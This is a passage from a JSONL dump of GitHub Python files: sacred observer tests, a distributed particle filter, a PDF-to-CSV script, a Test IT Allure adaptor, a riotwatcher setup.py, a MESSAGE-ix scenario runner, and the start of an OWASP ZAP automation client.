json.loads(run_dir.join(\"run.json\").read())\n    assert run[\"stop_time\"] == T2.isoformat()\n    assert run[\"status\"] == \"FAILED\"\n    assert run[\"fail_trace\"] == fail_trace\n\n\ndef test_fs_observer_artifact_event(dir_obs, sample_run, tmpfile):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n\n    obs.artifact_event(\"my_artifact.py\", tmpfile.name)\n\n    artifact = run_dir.join(\"my_artifact.py\")\n    assert artifact.exists()\n    assert artifact.read() == tmpfile.content\n\n    run = json.loads(run_dir.join(\"run.json\").read())\n    assert len(run[\"artifacts\"]) == 1\n    assert run[\"artifacts\"][0] == artifact.relto(run_dir)\n\n\ndef test_fs_observer_resource_event(dir_obs, sample_run, tmpfile):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n\n    obs.resource_event(tmpfile.name)\n\n    res_dir = basedir.join(\"_resources\")\n    assert res_dir.exists()\n    assert len(res_dir.listdir()) == 1\n    assert res_dir.listdir()[0].read() == tmpfile.content\n\n    run = json.loads(run_dir.join(\"run.json\").read())\n    assert len(run[\"resources\"]) == 1\n    assert run[\"resources\"][0] == [tmpfile.name, res_dir.listdir()[0].strpath]\n\n\ndef test_fs_observer_resource_event_does_not_duplicate(dir_obs, sample_run, tmpfile):\n    basedir, obs = dir_obs\n    obs2 = FileStorageObserver(obs.basedir)\n    obs.started_event(**sample_run)\n\n    obs.resource_event(tmpfile.name)\n    # let's have another run from a different observer\n    sample_run[\"_id\"] = None\n    _id = obs2.started_event(**sample_run)\n    run_dir = basedir.join(str(_id))\n    obs2.resource_event(tmpfile.name)\n\n    res_dir = basedir.join(\"_resources\")\n    assert res_dir.exists()\n    assert len(res_dir.listdir()) == 1\n    assert res_dir.listdir()[0].read() == tmpfile.content\n\n    run = json.loads(run_dir.join(\"run.json\").read())\n    assert len(run[\"resources\"]) == 1\n    assert run[\"resources\"][0] == [tmpfile.name, res_dir.listdir()[0].strpath]\n\n\ndef test_fs_observer_equality(dir_obs):\n    basedir, obs = dir_obs\n    obs2 = FileStorageObserver(obs.basedir)\n    assert obs == obs2\n    assert not obs != obs2\n\n    assert not obs == \"foo\"\n    assert obs != \"foo\"\n\n\n@pytest.fixture\ndef logged_metrics():\n    return [\n        ScalarMetricLogEntry(\"training.loss\", 10, datetime.datetime.utcnow(), 1),\n        ScalarMetricLogEntry(\"training.loss\", 20, datetime.datetime.utcnow(), 2),\n        ScalarMetricLogEntry(\"training.loss\", 30, datetime.datetime.utcnow(), 3),\n        ScalarMetricLogEntry(\"training.accuracy\", 10, datetime.datetime.utcnow(), 100),\n        ScalarMetricLogEntry(\"training.accuracy\", 20, datetime.datetime.utcnow(), 200),\n        ScalarMetricLogEntry(\"training.accuracy\", 30, datetime.datetime.utcnow(), 300),\n        ScalarMetricLogEntry(\"training.loss\", 40, datetime.datetime.utcnow(), 10),\n        ScalarMetricLogEntry(\"training.loss\", 50, datetime.datetime.utcnow(), 20),\n        ScalarMetricLogEntry(\"training.loss\", 60, datetime.datetime.utcnow(), 30),\n    ]\n\n\ndef test_log_metrics(dir_obs, sample_run, logged_metrics):\n    \"\"\"Test storing of scalar measurements.\n\n    Test whether measurements logged using _run.metrics.log_scalar_metric\n    are being stored in the metrics.json file.\n\n    Metrics are stored as a json with each metric indexed by a name\n    (e.g.: 'training.loss'). Each metric for the given name is then\n    stored as three lists: iteration step(steps), the values logged(values)\n    and the timestamp at which the measurement was taken(timestamps)\n    \"\"\"\n\n    # Start the experiment\n    basedir, obs = dir_obs\n    sample_run[\"_id\"] = None\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(str(_id))\n\n    # Initialize the info dictionary and standard output with arbitrary values\n    info = {\"my_info\": [1, 2, 3], \"nr\": 7}\n    outp = \"some output\"\n\n    obs.log_metrics(linearize_metrics(logged_metrics[:6]), info)\n    obs.heartbeat_event(info=info, captured_out=outp, beat_time=T1, result=0)\n\n    assert run_dir.join(\"metrics.json\").exists()\n    metrics = json.loads(run_dir.join(\"metrics.json\").read())\n\n    # Confirm that we have only two metric names registered.\n    # and they have all the information we need.\n    assert len(metrics) == 2\n    assert \"training.loss\" in metrics\n    assert \"training.accuracy\" in metrics\n    for v in [\"steps\", \"values\", \"timestamps\"]:\n        assert v in metrics[\"training.loss\"]\n        assert v in metrics[\"training.accuracy\"]\n\n    # Verify they have all the information\n    # we logged in the right order.\n    loss = metrics[\"training.loss\"]\n    assert loss[\"steps\"] == [10, 20, 30]\n    assert loss[\"values\"] == [1, 2, 3]\n    for i in range(len(loss[\"timestamps\"]) - 1):\n        assert loss[\"timestamps\"][i] <= loss[\"timestamps\"][i + 1]\n\n    accuracy = metrics[\"training.accuracy\"]\n    assert accuracy[\"steps\"] == [10, 20, 30]\n    assert accuracy[\"values\"] == [100, 200, 300]\n\n    # Now, process the remaining events\n    # The metrics shouldn't be overwritten, but appended instead.\n    obs.log_metrics(linearize_metrics(logged_metrics[6:]), info)\n    obs.heartbeat_event(info=info, captured_out=outp, beat_time=T2, result=0)\n\n    # Reload the new metrics\n    metrics = json.loads(run_dir.join(\"metrics.json\").read())\n\n    # The newly added metrics belong to the same run and have the same names,\n    # so the total number of metrics should not change.\n    assert len(metrics) == 2\n\n    assert \"training.loss\" in metrics\n    loss = metrics[\"training.loss\"]\n    assert loss[\"steps\"] == [10, 20, 30, 40, 50, 60]\n    assert loss[\"values\"] == [1, 2, 3, 10, 20, 30]\n    for i in range(len(loss[\"timestamps\"]) - 1):\n        assert loss[\"timestamps\"][i] <= loss[\"timestamps\"][i + 1]\n\n    # Read the training.accuracy metric and verify it's unchanged\n    assert \"training.accuracy\" in metrics\n    accuracy = metrics[\"training.accuracy\"]\n    assert accuracy[\"steps\"] == [10, 20, 30]\n    assert accuracy[\"values\"] == [100, 200, 300]\n\n\ndef test_observer_equality(tmpdir):\n    observer_1 = FileStorageObserver(str(tmpdir / \"a\"))\n    observer_2 = FileStorageObserver(str(tmpdir / \"b\"))\n    observer_3 = FileStorageObserver(str(tmpdir / \"a\"))\n    assert observer_1 == observer_3\n    assert observer_1 != observer_2\n\n\ndef test_blacklist_paths(tmpdir, dir_obs, sample_run):\n    basedir, obs = dir_obs\n    obs.started_event(**sample_run)\n    other_file = Path(str(tmpdir / \"dodo.txt\"))\n    other_file.touch()\n    with pytest.raises(FileExistsError):\n        obs.save_file(str(other_file), \"cout.txt\")\n\n\ndef test_no_duplicate(tmpdir, sample_run):\n    obs = FileStorageObserver(tmpdir, copy_artifacts=False)\n    file = Path(str(tmpdir / \"koko.txt\"))\n    file.touch()\n    obs.started_event(**sample_run)\n    obs.resource_event(str(file))\n    assert not os.path.exists(tmpdir / \"_resources\")\n\n    # Test the test: that the resource would otherwise have been created.\n    obs = FileStorageObserver(tmpdir, copy_artifacts=True)\n    sample_run[\"_id\"] = sample_run[\"_id\"] + \"_2\"\n    obs.started_event(**sample_run)\n    obs.resource_event(str(file))\n    assert os.path.exists(tmpdir / \"_resources\")\n    assert any(x.startswith(\"koko\") for x in os.listdir(tmpdir / \"_resources\"))\n\n\ndef test_no_sources(tmpdir, tmpfile, sample_run):\n    obs = FileStorageObserver(tmpdir, copy_sources=False)\n    sample_run[\"ex_info\"][\"sources\"] = [[tmpfile.name, tmpfile.md5sum]]\n    obs.started_event(**sample_run)\n    assert not os.path.exists(tmpdir / \"_sources\")\n\n    # Test the test: that the source would otherwise have been created.\n    obs = FileStorageObserver(tmpdir, copy_sources=True)\n    sample_run[\"_id\"] = sample_run[\"_id\"] + \"_2\"\n    obs.started_event(**sample_run)\n    name, _ = os.path.splitext(os.path.basename(tmpfile.name))\n    assert os.path.exists(tmpdir / \"_sources\")\n    assert any(x.startswith(name) for x in os.listdir(tmpdir / \"_sources\"))\n","repo_name":"IDSIA/sacred","sub_path":"tests/test_observers/test_file_storage_observer.py","file_name":"test_file_storage_observer.py","file_ext":"py","file_size_in_byte":15392,"program_lang":"python","lang":"en","doc_type":"code","stars":4113,"dataset":"github-code","pt":"60"}
+{"seq_id":"70618718270","text":"import numpy as np\nimport resample\nimport models\nimport sys\nfrom particle import Particle\n\n\nclass DPF(object):\n    # [partition[Par,Par,...,Par], partition, ..., partition]\n    def __init__(self, model, num_particles, num_partitions):\n        self.model = model\n        self.num_particles = num_particles\n        self.num_partitions = num_partitions\n\n    # partition is list(Particle)\n    def propagate(self, t, y, partition):\n        propagated = []\n        for par in partition:\n            x = self.model.propagate(t, par.state)\n            w = self.model.obpdf(y, par.state) * par.weight\n            propagated.append(Particle(w, x))\n        return propagated\n\n    # selection function, shuffled is a list of buckets,\n    # bucket is a list of particles\n    def shuffle(self, partition):\n        num_per_split = len(partition) / self.num_partitions\n        shuffled = []\n        for i in range(self.num_partitions):\n            split = []\n            index = []\n            index_rep = []\n            for j in range(num_per_split):\n                index.append(np.random.random_integers(0, len(partition) - 1))\n            for k in range(len(partition)):\n                index_rep.append(index.count(k))\n            for rep, par in zip(index_rep, partition):\n                while rep > 0:\n                    split.append(par)\n                    rep -= 1\n            shuffled.append(split)\n        return shuffled\n\n    # shuffle function, repartition_arr is a list of partitions\n    def repartition(self, shuffled_arr):\n        repartition_arr = []\n        for i in range(self.num_partitions):\n            partition = []\n            for shuffled in shuffled_arr:\n                # shuffled[i] is ith split\n                for par in shuffled[i]:\n                    partition.append(par)\n            repartition_arr.append(partition)\n        return repartition_arr\n\n    def resample(self, partition):\n        resampled = []\n        weights = []\n        for par in partition:\n            weights.append(par.weight)\n        weights = np.array(weights)\n        weights /= weights.sum()\n        index_rep = resample.systematic(len(partition), weights)\n        weight = 1. / self.num_particles\n        for par, rep in zip(partition, index_rep):\n            while rep > 0:\n                resampled.append(Particle(weight, par.state))\n                rep -= 1\n        return resampled\n\n    def run(self, t, y, partition_arr):\n        propagated_arr = []\n        for partition in partition_arr:\n            propagated_arr.append(self.propagate(t, y, partition))\n        shuffled_arr = []\n        for partition in propagated_arr:\n            shuffled_arr.append(self.shuffle(partition))\n        repartitioned_arr = self.repartition(shuffled_arr)\n        resampled_arr = []\n        for partition in repartitioned_arr:\n            resampled_arr.append(self.resample(partition))\n        return resampled_arr\n\n    def eval_mean(self, partition_arr):\n        weight_sum = 0.0\n        mean = 0.0\n        for partition in partition_arr:\n            for par in partition:\n                weight_sum += par.weight\n                mean += par.weight * par.state\n        return mean / weight_sum\n\n\nclass PartialDPF(object):\n    def __init__(self, model, num_particles, num_partitions):\n        self.model = model\n        self.num_particles = num_particles\n        self.num_partitions = num_partitions\n\n    def resample(self, partition, resample_num, weight):\n        resampled = []\n        weights = []\n        for par in partition:\n            weights.append(par.weight)\n        weights = np.array(weights)\n        weights /= weights.sum()\n        index_rep = resample.systematic(resample_num, weights)\n        for par, rep in zip(partition, index_rep):\n            while rep > 0:\n                resampled.append(Particle(weight, par.state))\n                rep -= 1\n        return resampled\n\n    def cen_resample(self, partition_arr):\n        particles = []\n        for partition in partition_arr:\n            for par in partition:\n                particles.append(par)\n        weights = []\n        for par in particles:\n            weights.append(par.weight)\n        weights = np.array(weights)\n        weights /= weights.sum()\n        index_rep = resample.systematic(len(particles), weights)\n        weight = 1. / self.num_particles\n        resampled = []\n        for par, rep in zip(particles, index_rep):\n            while rep > 0:\n                resampled.append(Particle(weight, par.state))\n                rep -= 1\n        resampled_arr = []\n        # append() returns NoneType, can not be returned directly\n        resampled_arr.append(resampled)\n        return resampled_arr\n\n    def p_dpf1_resample(self, partition_arr):\n        partition_weight_sums = []\n        for partition in partition_arr:\n            weight_sum = 0.0\n            for par in partition:\n                weight_sum += par.weight\n            partition_weight_sums.append(weight_sum)\n        partition_weight_sums = np.array(partition_weight_sums)\n        partition_weight_sums /= partition_weight_sums.sum()\n        resampled_arr = []\n        for partition, weight in zip(partition_arr, partition_weight_sums):\n            resampled_arr.append(self.resample(partition,\n                                               len(partition), weight))\n        return resampled_arr\n\n    def p_dpf2_resample(self, partition_arr):\n        partition_weight_sums = []\n        for partition in partition_arr:\n            weight_sum = 0.0\n            for par in partition:\n                weight_sum += par.weight\n            partition_weight_sums.append(weight_sum)\n        partition_weight_sums = np.array(partition_weight_sums)\n        partition_weight_sums /= partition_weight_sums.sum()\n        partition_resp_nums = resample.systematic(self.num_particles,\n                                                  partition_weight_sums)\n        resampled_arr = []\n        weight = 1.0 / self.num_particles\n        for resample_num, partition in zip(partition_resp_nums,\n                                           partition_arr):\n            resampled_arr.append(self.resample(partition,\n                                               resample_num, weight))\n        return resampled_arr\n\n    def p_dpf3_resample(self, partition_arr):\n        partition_weight_sums = []\n        for partition in partition_arr:\n            weight_sum = 0.0\n            for par in partition:\n                weight_sum += par.weight\n            partition_weight_sums.append(weight_sum)\n        partition_weight_sums = np.array(partition_weight_sums)\n        partition_weight_sums /= partition_weight_sums.sum()\n        partition_rep_nums = resample.systematic(self.num_partitions,\n                                                 partition_weight_sums)\n        resampled_arr = []\n        weight = 1.0 / self.num_particles\n        for partition, rep in zip(partition_arr, partition_rep_nums):\n            while rep > 0:\n                resampled_arr.append(self.resample(partition,\n                                                   len(partition), weight))\n                rep -= 1\n        return resampled_arr\n\n\ndef generate_sample(sample_file_name, num_partitions, num_particles,\n                    t, y):\n    sample_file = open(sample_file_name, 'w')\n    partition_arr = []\n    for i in range(num_partitions):\n        partition = []\n        for j in range(num_particles / num_partitions):\n            x = models.BenchmarkModel.propagate(\n                t, models.BenchmarkModel.initialize())\n            w = models.BenchmarkModel.obpdf(y, x)\n            partition.append(Particle(w, x))\n            sample_file.write(str(w) + \" \" + str(x) + \"\\n\")\n        partition_arr.append(partition)\n    sample_file.close()\n\n\ndef read_sample(sample_file_name, num_partitions, num_particles):\n    partition_arr = []\n    sample_file = open(sample_file_name)\n    # read particle sample into partition_arr\n    for num in range(num_partitions):\n        part = []\n        for num_par in range(num_particles / num_partitions):\n            w, x = sample_file.readline().rstrip().split(' ')\n            part.append(Particle(float(w), float(x)))\n        partition_arr.append(part)\n    sample_file.close()\n    return partition_arr\n\n\n# test the influence of selection step on estimation result\n# use shuffled particle set, because the estimation result of\n# shuffled set is as same as selected set\ndef test_selection(shuffle_mean_file, sim_number, partition_arr, dpf):\n    shuffled_mean_file = open(shuffle_mean_file, 'w')\n    for sim_num in range(sim_number):\n        selected_arr = []\n        for partition in partition_arr:\n            selected_arr.append(dpf.shuffle(partition))\n        shuffled_arr = dpf.repartition(selected_arr)\n        shuffled_mean = dpf.eval_mean(shuffled_arr)\n        shuffled_mean_file.write(str(shuffled_mean) + \"\\n\")\n    shuffled_mean_file.close()\n\n\ndef test_resample(resample_mean_file, local_weight_sum_file,\n                  sim_number, partition_arr, dpf):\n    with open(resample_mean_file, 'w') as resampled_mean_file, open(\n            local_weight_sum_file, 'w') as local_weight_sum:\n        for sim_num in range(sim_number):\n            selected_arr = []\n            for part in partition_arr:\n                selected_arr.append(dpf.shuffle(part))\n            shuffled_arr = dpf.repartition(selected_arr)\n            resampled_arr = []\n            for part in shuffled_arr:\n                resampled_arr.append(dpf.resample(part))\n            # write means\n            resampled_mean = dpf.eval_mean(resampled_arr)\n            resampled_mean_file.write(str(resampled_mean) + '\\n')\n            # write local weight sums\n            for part in shuffled_arr:\n                weight_sum = .0\n                for par in part:\n                    weight_sum += par.weight\n                local_weight_sum.write(str(weight_sum) + ' ')\n            local_weight_sum.write('\\n')\n\n\nif __name__ == '__main__':\n    print(sys.argv[0])\n    #argv[1]: num_particles, argv[2]: num_partitions\n    num_particles = int(sys.argv[1])\n    num_partitions = int(sys.argv[2])\n    dpf = DPF(models.BenchmarkModel, num_particles, num_partitions)\n    pdpf = PartialDPF(models.BenchmarkModel, num_particles, num_partitions)\n    t = 1.0\n    y = 5.60923390197\n    # read selected particles into selected_arr\n    # selected_arr = []\n    # for num in range(num_partitions):\n    #     part = []\n    #     for num_b in range(num_partitions):\n    #         bucket = []\n    #         for par in range(num_particles / num_partitions\n    #                          / num_partitions):\n    #             w, x = sample_file.readline().rstrip().split(' ')\n    #             bucket.append(Particle(float(w), float(x)))\n    #         part.append(bucket)\n    #     selected_arr.append(part)\n\n    # selection_mean_file = open(\"selection_mean\", 'w')\n    # shuffle_mean_file = open(\"shuffle_mean\", 'w')\n    # shuffle_weight_sum_file = open('shuffle_weight_sum', 'w')\n    # resampled_mean_file = open('resample_mean', 'w')\n    # cen_mean_file = open(\"cen_mean\", 'w')\n    # pdpf1_mean_file = open(\"pdpf1_mean\", 'w')\n    # pdpf2_mean_file = open(\"pdpf2_mean\", 'w')\n    # pdpf3_mean_file = open(\"pdpf3_mean\", 'w')\n        #dpf_mean = dpf.eval_mean(resampled_arr)\n        # #cenbf\n        # cen_mean = dpf.eval_mean(pdpf.cen_resample(partition_arr))\n        # cen_mean_file.write(str(cen_mean) + \"\\n\")\n        # #pdpf1\n        # pdpf1_mean = dpf.eval_mean(pdpf.p_dpf1_resample(partition_arr))\n        # pdpf1_mean_file.write(str(pdpf1_mean) + \"\\n\")\n        # #pdpf2\n        # pdpf2_mean = dpf.eval_mean(pdpf.p_dpf2_resample(partition_arr))\n        # pdpf2_mean_file.write(str(pdpf2_mean) + \"\\n\")\n        # #pdpf3\n        # pdpf3_mean = dpf.eval_mean(pdpf.p_dpf3_resample(partition_arr))\n        # pdpf3_mean_file.write(str(pdpf3_mean) + \"\\n\")\n    #selection_mean_file.close()\n    #shuffle_weight_sum_file.close()\n    #resampled_mean_file.close()\n    # cen_mean_file.close()\n    # pdpf1_mean_file.close()\n    # pdpf2_mean_file.close()\n    # pdpf3_mean_file.close()\n    partition_arr = read_sample('particle_sample_6400', 8, 6400)\n    #test_selection('selection_mean_6400par_5000sim', 5000, partition_arr, dpf)\n    #generate_sample('particle_sample_6400', 8, 6400, t, y)\n    test_resample('resample_mean_6400par_5000sim',\n                  'shuffle_weight_sum_6400par', 5000, partition_arr, dpf)\n","repo_name":"delding/dist-pf","sub_path":"dpf/dpf_spark/src/main/python/dpf.py","file_name":"dpf.py","file_ext":"py","file_size_in_byte":12390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2311798240","text":"\nimport csv\nimport os\nimport PyPDF2 \n#from miner_text_generator import extract_text_by_page\n \n \ndef export_as_csv(pdf_path, csv_path):\n    filename = PyPDF2.PdfFileReader('/home/hp/carat/2012.pdf', 'rb')\n \n    counter = 1\n    with open(csv_path, 'w') as csv_file:\n        writer = csv.writer(csv_file)\n        for page in  filename.extractText():\n            text = page[0:4]\n            words = text.split()\n            writer.writerow(words)\n \n \nif __name__ == '__main__':\n    pdf_path = '/home/hp/carat/2012.pdf'\n    csv_path = '2012.csv'\n    export_as_csv(pdf_path, csv_path)\n","repo_name":"raghurammanyam/django-projects","sub_path":"scripts and files/kkr.py","file_name":"kkr.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4057078468","text":"from testit_allure_adaptor.reader import AttributeReader\nfrom testit_allure_adaptor.utils import form_steps\nfrom testit_allure_adaptor.utils import form_labels_namespace_classname_workitems_id\nfrom testit_allure_adaptor.utils import form_links\nfrom testit_allure_adaptor.utils import form_setup_teardown\nfrom testit_allure_adaptor.utils import form_parameters\nfrom testit_pytest.api import Api\nfrom testit_pytest.json_fixture import JSONFixture\nfrom datetime import datetime\n\n\ndef get_attachment(requests, attachments_sources, path):\n    attachments = []\n    for attachment_source in attachments_sources:\n        attachments.append({'id': requests.load_attachment(open(f\"{path}/{attachment_source['source']}\", 'rb'))})\n    return attachments\n\n\ndef console_main():\n    reader = AttributeReader()\n    data_tests, data_before_after = reader.get_attr()\n    if data_tests:\n        data_before_after = dict(sorted(data_before_after.items(), key=lambda x: x[0]))\n        requests = Api(reader.get_url(), reader.get_privatetoken())\n        tests_results_data = []\n        for history_id in data_tests:\n            labels, namespace, classname, workitems_id = form_labels_namespace_classname_workitems_id(data_tests[history_id]['labels'])\n\n            attachments = get_attachment(requests, data_tests[history_id]['attachments'], reader.get_path()) if 'attachments' in data_tests[history_id] else []\n\n            setup, results_setup, teardown, results_teardown, inner_attachments = form_setup_teardown(data_before_after, data_tests[history_id]['uuid'])\n            attachments += get_attachment(requests, inner_attachments, reader.get_path())\n\n            if 'steps' in data_tests[history_id]:\n                steps, results_steps, inner_attachments = form_steps(data_tests[history_id]['steps'])\n                attachments += get_attachment(requests, inner_attachments, reader.get_path())\n            else:\n                steps = []\n                results_steps = []\n\n            links = form_links(data_tests[history_id]['links']) if 'links' in data_tests[history_id] else []\n\n            outcome = data_tests[history_id]['status'].title() if data_tests[history_id]['status'] in ('passed', 'skipped') else 'Failed'\n\n            autotest = requests.get_autotest(history_id, reader.get_project_id()).json()\n            if not autotest:\n                autotest_id = requests.create_autotest(\n                    JSONFixture.create_autotest(\n                        history_id,\n                        reader.get_project_id(),\n                        data_tests[history_id]['name'],\n                        namespace,\n                        classname,\n                        links,\n                        steps,\n                        setup,\n                        teardown,\n                        None,\n                        data_tests[history_id]['description'] if 'description' in data_tests[history_id] else None,\n                        labels\n                    )\n                )\n            else:\n                autotest_id = autotest[0]['id']\n                if outcome == 'Passed':\n                    requests.update_autotest(\n                        JSONFixture.update_autotest(\n                            history_id,\n                            reader.get_project_id(),\n                            data_tests[history_id]['name'],\n                            namespace,\n                            classname,\n                            links,\n                            steps,\n                            setup,\n                            teardown,\n                            None,\n                            data_tests[history_id]['description'] if 'description' in data_tests[history_id] else None,\n                            labels,\n                            autotest_id\n                        )\n                    )\n                else:\n                    requests.update_autotest(\n                        JSONFixture.update_autotest(\n                            history_id,\n                            reader.get_project_id(),\n                            autotest[0]['name'],\n                            autotest[0]['namespace'],\n                            autotest[0]['classname'],\n                            links,\n                            autotest[0]['steps'],\n                            autotest[0]['setup'],\n                            autotest[0]['teardown'],\n                            autotest[0]['title'],\n                            autotest[0]['description'],\n                            autotest[0]['labels'],\n                            autotest_id\n                        )\n                    )\n\n            for workitem_id in workitems_id:\n                requests.link_autotest(autotest_id, workitem_id)\n\n            tests_results_data.append(\n                JSONFixture.set_results_for_testrun(\n                    history_id,\n                    reader.get_configuration_id(),\n                    outcome,\n                    results_steps,\n                    results_setup,\n                    results_teardown,\n                    data_tests[history_id]['statusDetails']['trace'] if 'statusDetails' in data_tests[history_id] else None,\n                    links,\n                    data_tests[history_id]['stop'] - data_tests[history_id]['start'],\n                    None,\n                    data_tests[history_id]['statusDetails']['message'] if 'statusDetails' in data_tests[history_id] else None,\n                    form_parameters(data_tests['parameters']) if 'parameters' in data_tests else None,\n                    attachments\n                )\n            )\n        testrun_id = requests.create_testrun(JSONFixture.create_testrun(reader.get_project_id(), f'AllureRun {datetime.today().strftime(\"%d %b %Y %H:%M:%S\")}'))\n        if tests_results_data:\n            requests.set_results_for_testrun(\n                testrun_id,\n                tests_results_data\n            )\n\n\nif __name__ == \"__main__\":\n    console_main()\n","repo_name":"dc-avasilev/testit-allure-adaptor","sub_path":"src/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":5996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21209258055","text":"from setuptools import setup, find_packages\r\nimport os.path\r\n\r\nhere = os.path.dirname(__file__)\r\n\r\ndescr_file = os.path.join(here, \"README.rst\")\r\nversion_file = os.path.join(here, \"src\", \"riotwatcher\", \"__version__.py\")\r\n\r\nversion_info = {}\r\nwith open(version_file, \"r\") as f:\r\n    exec(f.read(), version_info)\r\n\r\ndev_requirements = [\"coverage\", \"pre-commit\", \"pytest\", \"pytest-cov\", \"tox\"]\r\n\r\nsetup(\r\n    name=version_info[\"__title__\"].lower(),\r\n    version=version_info[\"__version__\"],\r\n    packages=find_packages(\"src\", exclude=[\"test\"]),\r\n    package_dir={\"\": \"src\"},\r\n    description=f\"{version_info['__title__']} is a thin wrapper on top of the Riot Games API for League of Legends.\",\r\n    long_description=open(descr_file).read(),\r\n    author=\"AG Stephan\",\r\n    url=\"https://github.com/pseudonym117/Riot-Watcher\",\r\n    classifiers=[\r\n        \"License :: OSI Approved :: MIT License\",\r\n        \"Topic :: Software Development :: Libraries :: Python Modules\",\r\n        \"Topic :: Text Processing\",\r\n        \"Topic :: Games/Entertainment :: Real Time Strategy\",\r\n        \"Topic :: Games/Entertainment :: Role-Playing\",\r\n    ],\r\n    license=\"MIT\",\r\n    install_requires=[\"requests\"],\r\n    extras_require={\"dev\": dev_requirements},\r\n)\r\n","repo_name":"pseudonym117/Riot-Watcher","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":516,"dataset":"github-code","pt":"60"}
+{"seq_id":"35133932766","text":"import ixmp\nimport message_ix\nfrom itertools import product\n\n\ndef run_scenarios(model, baseline, database, shale_costs, carbon_costs):\n    # launch a platform to access the database\n    mp = ixmp.Platform(dbprops=f'db/{database}', dbtype='HSQLDB')\n    base = message_ix.Scenario(mp, model=model, scenario=baseline)\n    if base.has_solution():\n        base.remove_solution()\n    base.solve(model='MESSAGE-MACRO')\n    \n    # Define values for progress report\n    num = len(list(product(shale_costs, carbon_costs)))\n    i = 0\n    infeasible_models = []\n\n    # Run Scenario\n    ##################################\n    for s, c in product(shale_costs, carbon_costs):\n        scenario = f'{s}USDpGJ-{c}USDtCO2'\n        scen = base.clone(model, scenario, keep_solution=False)\n        scen.set_as_default()\n        scen.check_out()\n        year = base.set('year').astype(int)\n        first_model_year = scen.cat('year', 'firstmodelyear')\n        model_years = list(year[year >= int(first_model_year)])\n\n        # update scenario carbon cost\n        filters = dict(node='South Africa', type_emission='CO2', type_tec='all', type_year=model_years)\n        par = scen.par('tax_emission', filters)\n        par['value'] = [(c * ((1 + 0.05) ** n)) for n in range(0, len(model_years)*10, 10)]\n        scen.add_par('tax_emission', par)\n\n        # update scenario shale gas extraction costs\n        filters = dict(mode='M1', node_loc='South Africa', time='year', year_act=model_years, year_vtg=model_years,\n                       technology='shale_extr')\n        par = scen.par('var_cost', filters)\n        par['value'] = s * 3.6 * 8.76  # from USD/GJ to USD/MWh to MUSD/GWa\n        scen.add_par('var_cost', par)\n\n        scen.commit('update variable costs and carbon price according to the scenario specifications')\n\n        # Solve Model\n        try:\n            scen.solve(model='MESSAGE-MACRO')\n        except:\n            infeasible_models = infeasible_models + [scenario]\n            print(f'Infeasible model. Shale gas extraction costs: {s}, carbon price {c}.')\n            continue\n        print(f'Done running {i + 1} out of {num} scenarios.')\n        i = i + 1\n\n    mp.close_db()\n    print(f'The following scenarios are infeasible: {infeasible_models}')\n","repo_name":"tum-ewk/message_ix_south_africa","sub_path":"utils/run_scenarios.py","file_name":"run_scenarios.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"30021434432","text":"import argparse\nimport logging\nimport sys\n\nfrom zapv2 import ZAPv2\n\nfrom .zap_automation import ZapAutomation\n\n# set up logging to file - see previous section for more details\nlogging.basicConfig(\n    level=logging.INFO,\n    format=\"%(asctime)s %(name)-12s %(levelname)-8s: %(message)s\",\n    datefmt=\"%Y-%m-%d %H:%M\",\n)\n\nlogging = logging.getLogger(\"zapclient\")\n\n\ndef main():\n    args = get_parser_args()\n\n    if args.target is None or len(args.target) <= 0:\n        logging.info(\"Argument error: No target specified!\")\n        sys.exit(1)\n\n    process(args)\n\n    # logging.info('Write findings to file...')\n    # write_findings_to_file(args.output_folder, findings)\n    logging.info(\"Finished :-) !\")\n\n\ndef process(args):\n\n    api_key = None\n    if args.api_key is not None and len(args.api_key) > 0:\n        api_key = args.api_key\n\n    # MANDATORY. Define the listening address of ZAP instance\n    zap_proxy = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\n    if args.zap_url is not None and len(args.zap_url) > 0:\n        zap_proxy = {\n            \"http\": \"http://\" + args.zap_url,\n            \"https\": \"http://\" + args.zap_url,\n        }\n\n    logging.info(\":: Configuring ZAP Instance with %s\", zap_proxy)\n    # Connect ZAP API client to the listening address of ZAP instance\n    zap = ZAPv2(proxies=zap_proxy, apikey=api_key)\n\n    logging.info(\n        \":: Starting SCB ZAP Automation Framework with config %s\", args.config_folder\n    )\n    zap_automation = ZapAutomation(\n        zap=zap,\n        config_dir=args.config_folder,\n        target=args.target,\n        forced_context=args.context,\n    )\n\n    try:\n        logging.info(\":: Starting SCB ZAP Scan with target %s\", args.target)\n        zap_automation.scan_target(target=args.target)\n\n        alerts = zap_automation.get_zap_scanner.get_alerts(args.target, [], [])\n        logging.info(\":: Found ZAP Alerts: %s\", str(len(alerts)))\n\n        summary = zap.alert.alerts_summary(baseurl=args.target)\n        logging.info(\":: ZAP Alerts Summary: %s\", str(summary))\n\n        zap_automation.generate_report_file(\n            file_path=args.output_folder, report_type=args.report_type\n        )\n\n        zap_automation.zap_shutdown()\n        logging.info(\":: Finished !\")\n\n    except argparse.ArgumentError as e:\n        logging.exception(f\"Argument error: {e}\")\n        sys.exit(1)\n    except Exception as e:\n        logging.exception(f\"Unexpected error: {e}\")\n        zap_automation.zap_shutdown()\n        sys.exit(3)\n\n\ndef get_parser_args(args=None):\n    parser = argparse.ArgumentParser(\n        prog=\"zap-client\",\n        description=\"OWASP secureCodeBox OWASP ZAP Client (can be used to automate OWASP ZAP instances based on YAML configuration files.)\",\n    )\n    parser.add_argument(\n        \"-z\",\n        \"--zap-url\",\n        help=\"The ZAP API Url used to call the ZAP API.\",\n        default=None,\n        required=True,\n    ),\n    parser.add_argument(\n        \"-a\",\n        \"--api-key\",\n        help=\"The ZAP API Key used to call the ZAP API.\",\n        default=None,\n        required=False,\n    